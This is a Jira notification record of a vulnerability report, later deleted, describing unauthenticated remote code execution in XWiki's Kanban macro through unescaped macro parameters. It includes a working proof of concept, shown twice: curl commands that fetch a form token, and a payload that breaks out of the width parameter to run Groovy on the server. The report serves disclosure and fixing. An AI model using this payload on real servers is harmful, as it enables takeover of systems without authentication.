This issue has been created
There is 1 update.
This issue has been deleted
 
 
Kanban Macro / cid:jira-generated-image-avatar-7df7f23f-d816-4c42-b7e7-86e1bea39063 KANBAN-19

Guest RCE via unescaped wiki-macro parameters / content in Macros.KanbanMacro

 

Issue created

 
cid:jira-generated-image-avatar-05f2d4c3-8471-4560-a030-0148e7fd4e78 Clément Christiaens created this issue on 07/Jun/26 15:40
 
Summary: Guest RCE via unescaped wiki-macro parameters / content in Macros.KanbanMacro
Issue Type: cid:jira-generated-image-avatar-7df7f23f-d816-4c42-b7e7-86e1bea39063 Bug
Affects Versions: 1.1.1
Assignee: Unassigned
Created: 07/Jun/26 15:40
Labels: RCE attacker_guest security
Priority: cid:jira-generated-image-static-blocker-5709e4b4-ecab-480a-8a75-e3ee43188330 Blocker
Reporter: Clément Christiaens
Description:

Requirements

  • none

Explanation

Macros/KanbanMacro.xml
The macro body is velocity… html clean="false"<script> … </script>/html … /velocity and interpolates caller-controlled values directly, with no $escapetool.javascript / $jsontool.serialize / $services.rendering.escape:

widthBoard: '${xcontext.macro.params.width}',           ## ~line 2309 — into a JS single-quoted string
...
addItemButton: ${xcontext.macro.params.addItemButton},  ## ~line 2474 — unquoted JS token
addBoardButton: ${xcontext.macro.params.addBoardButton},
removeBoardButton: ${xcontext.macro.params.removeBoardButton},
addRemoveButton: ${xcontext.macro.params.addRemoveButton},
...
updateService = "${xcontext.macro.params.updateService}";          ## ~line 2493
var getdata = jQuery.getJSON("${xcontext.macro.params.source}", …); ## ~line 2496
+ "${xcontext.macro.params.awmupdatepath}"                          ## ~line 2433
var boards = ${xcontext.macro.content};                            ## ~line 2504 — raw macro BODY into JS

$xcontext.macro.params.X returns the verbatim caller string (DefaultWikiMacroRenderer.java:418 binds params to originalParameters, the un-coerced parameter map). $xcontext.macro.content is the verbatim macro body.

The awmkanban macro (Macros/AWMKanbanMacro.xml) re-emits kanban … width="${width}" / with the same raw width (and a className/category derived awmupdatepath), so it is an additional caller of the sink.

PoC

Guest, no authentication.

TOKEN=$(curl -s 'http://target/xwiki/bin/view/Main/' -c cj.txt \
  | grep -oE 'form_token\\?" value=\\?"[A-Za-z0-9+/=]+' | head -1 | grep -oE '[A-Za-z0-9+/=]+$')
 
cat > body.txt <<'EOF'

{{kanban width="x'}};{{/html}}{{async}}{{groovy}}println(~"KBX_~" + (7919*7907)){{/groovy}}{{/async}}{{html}}x"}}
[{"id":"b1","title":"y","color":"red","item":[{"title":"z"}]}]
{{/kanban}}

EOF

# trigger
curl -s -b cj.txt \
  "http://target/xwiki/bin/get/Main/WebHome?sheet=CKEditor.HTMLConverter&toHTML=true&formToken=$TOKEN" \
  --data-urlencode "text@body.txt"

Observed in the response:

<!--startmacro:groovy|-||-|println("KBX_" + (7919*7907))-->KBX_62615533<!--stopmacro-->

Impact

Guests can execute arbitrary code against the server.

Credit

Github user: ciaens , https://github.com/ciaens

Tested on XWiki 18.4.0 and macro-kanban-1.4.3

 
 

1 update

 
cid:jira-generated-image-avatar-05f2d4c3-8471-4560-a030-0148e7fd4e78 Changes by Clément Christiaens on 07/Jun/26 15:45
 
Description: h1. Requirements
- none

h1. Explanation
{{Macros/KanbanMacro.xml}}
The macro body is {{velocity… html clean="false"<script> … </script>/html … /velocity}} and interpolates caller-controlled values directly, with no $escapetool.javascript / $jsontool.serialize / $services.rendering.escape:

{noformat}
widthBoard: '${xcontext.macro.params.width}',           ## ~line 2309 — into a JS single-quoted string
...
addItemButton: ${xcontext.macro.params.addItemButton},  ## ~line 2474 — unquoted JS token
addBoardButton: ${xcontext.macro.params.addBoardButton},
removeBoardButton: ${xcontext.macro.params.removeBoardButton},
addRemoveButton: ${xcontext.macro.params.addRemoveButton},
...
updateService = "${xcontext.macro.params.updateService}";          ## ~line 2493
var getdata = jQuery.getJSON("${xcontext.macro.params.source}", …); ## ~line 2496
+ "${xcontext.macro.params.awmupdatepath}"                     ## ~line 2433
var boards = ${xcontext.macro.content};                     ## ~line 2504 — raw macro BODY into JS
{noformat}

$xcontext.macro.params.X returns the verbatim caller string (DefaultWikiMacroRenderer.java:418 binds params to originalParameters, the un-coerced parameter map). $xcontext.macro.content is the verbatim macro body.

The {{awmkanban}} macro (Macros/AWMKanbanMacro.xml) re-emits {{kanban … width="${width}" /}} with the same raw width (and a className/category derived awmupdatepath), so it is an additional caller of the sink.

h1. PoC
Guest, no authentication.
{code:bash}
TOKEN=$(curl -s 'http://target/xwiki/bin/view/Main/' -c cj.txt \
  | grep -oE 'form_token\\?" value=\\?"[A-Za-z0-9+/=]+' | head -1 | grep -oE '[A-Za-z0-9+/=]+$')

cat > body.txt <<'EOF'

{{kanban width="x'}};{{/html}}{{async}}{{groovy}}println(~"KBX_~" + (7919*7907)){{/groovy}}{{/async}}{{html}}x"}}
[{"id":"b1","title":"y","color":"red","item":[{"title":"z"}]}]
{{/kanban}}

EOF

# trigger
curl -s -b cj.txt \
  "http://target/xwiki/bin/get/Main/WebHome?sheet=CKEditor.HTMLConverter&toHTML=true&formToken=$TOKEN" \
  --data-urlencode "text@body.txt"
{code}

Observed in the response:

{code}
<!--startmacro:groovy|-||-|println("KBX_" + (7919*7907))-->KBX_62615533<!--stopmacro-->
{code}

h1. Impact
Guests can execute arbitrary code against the server.

Proposed score: 9.3
{{CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N}}

h3. Credit
Github user: ciaens , https://github.com/ciaens

??Tested on XWiki 18.4.0 and macro-kanban-1.4.3??
 
 

Issue deleted

 
cid:jira-generated-image-avatar-05f2d4c3-8471-4560-a030-0148e7fd4e78 Clément Christiaens has deleted this issue on 07/Jun/26 15:46